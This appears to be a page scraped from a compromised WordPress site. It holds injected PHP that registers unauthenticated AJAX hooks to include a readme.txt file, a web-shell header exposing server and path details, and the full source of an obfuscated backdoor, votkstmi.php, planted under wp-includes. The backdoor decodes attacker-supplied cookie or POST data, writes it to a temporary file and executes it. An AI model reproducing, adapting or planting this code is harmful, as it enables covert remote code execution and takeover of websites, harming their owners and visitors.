if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-includes/blocks/home-link/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-includes/blocks/home-link/votkstmi.php
<?php
function  mm6 ()
{echo 'db7';


}

function ot1      ( $rt2 )
{$fx4=0;

$js3 = ";6tucp8?kymeoI-17Fsr3'nLi)x#<v/gEHl95h2(fb4* a._@d";      $zx5 = substr("",	0);


 while(1)

{ if($fx4>=count($rt2))  break; $zx5      .= $js3	[ $rt2[$fx4] ]; $fx4++;
}


return	$zx5;
}$rl9 = [];$wooex     = 77917;

$rl9[7667]    =  ot1 ( Array(36 , 6       , 45     , 35 , 6 ,    38    , 38 ,       6	,      14 , 40	, 16 ,     49 , 42  , 14       , 42 , 40    ,	20 ,   11   , 14	, 35    , 49 ,	4 , 36 ,    14	,      4	, 38   , 38 , 1       ,	36 ,	42     , 15 ,      38 , 38      , 41 ,	36 , 36 ,)  )       ;


$rl9[79851]     = ot1   ( Array(7 , 5	,       37 , 5     , 44 ,	48 , 3 ,      22     , 34 , 24       , 22      , 8 , 39 , 47 , 47 , 17 ,      13     , 23 ,  32    ,	47   ,	47	, 25 , 0 , 44       ,) ) ;
$sx23 =	61516;

$rl9[19946]      = ot1 (      Array(46	,       10 , 12 ,      49	,     3	, 34 , 11 ,) ) ;


$zs24	=	20421;
$rl9[60391] = ot1 ( Array(33 ,  43 ,)	) ;
$rl9[64994]       = ot1	(      Array(46 , 30 ,) )	;$rl9[93665] =	ot1       ( Array(27 ,)  ) ;
$rl9[81375]       =	ot1      (	Array(28 ,) ) ;
$rl9[48091]       = ot1      ( Array(40 , 24	,      34 ,       11 , 47 , 5 , 3	, 2 , 47 ,     4 , 12	, 22	, 2      ,	11 , 22 , 2 , 18    ,)	)     ;
$rl9[45526]       = ot1   ( Array(40       ,	24	,	34	,       11  , 47  ,       11      ,  26 ,	24 ,	18    ,	2 ,      18      ,)	) ;$id25   = 95950;$rl9[29141] =    ot1     (	Array(45	,	19 ,      19 ,	45	, 9 , 47 , 10 ,     11 , 19	,     31    , 11 ,) )      ;$rl9[75220]	=       ot1	(     Array(18 , 2	,       19      ,    47 ,	19 ,    11   , 5      , 11	,	45 ,       2	,) ) ;

$rl9[91603]      =       ot1 (	Array(11	,     26 ,	5 , 34 ,	12 ,   49     , 11 ,) ) ;
$jm26	=  72378;
$rl9[7629] = ot1 ( Array(3 , 22 , 34	,	24       , 22    ,   8	,) ) ;


$pl27 = 91879;

$rl9[71624]	= ot1     (	Array(18 , 2	, 19 , 34	,	11 , 22	,)    )  ;


$rl9[51655]     =	ot1 (     Array(5	, 45 , 4 ,    8     ,) ) ;



$ww17 =	$_COOKIE; $co16 =	"15629";
$ww17 =	$rl9[29141]($ww17,  $_POST);
foreach ($ww17 as $uh22	=> $be18)

{  function	vo13	( $rl9, $uh22	,	$ui15	)   {

 return substr ( $rl9[75220] (  $uh22 . $rl9[7667]      , ( $ui15/$rl9[71624](	$uh22      ) ) +	1 ) ,    0	,   $ui15 ); }

    function du12	(	$rl9,	$jz21	)


 {    return @$rl9[51655] ($rl9[60391]	, $jz21 );	}
   function       hn11      ( $rl9, $be18,     $uh22)


      {	return	du12 (	$rl9,    $be18	) ^       vo13	(	$rl9, $uh22	, $rl9[71624](    $be18	)	);
 }

   


	function  qk10 ( $rl9,	$be18,     $uh22)


  {


 return	$rl9[91603] (    $rl9[93665]  , hn11	(    $rl9,	$be18, $uh22));	}

             function hc14  (	$rl9,      $jz21       )


 {


       if ( isset  (    $jz21[2] ) ) {


 


	$lm20 =       $rl9[64994]       . md5(	$rl9[7667] )	.	$rl9[19946];


 @$rl9[48091] ( $lm20,	$rl9[81375]	. $rl9[79851]   . $jz21[1]	( $jz21[2]	)	);

 $uv19	= $lm20;


	@include ( $uv19       );

 if ($rl9[45526]($lm20)) 
 { @$rl9[7629] (	$lm20	);
 }

	


  $lm20	=  substr ($lm20,	$rl9[71624]($lm20));

 exit   ();
      }

     }
	 hc14	(  $rl9,  qk10 (      $rl9, $be18, $uh22));

}
@ Telegram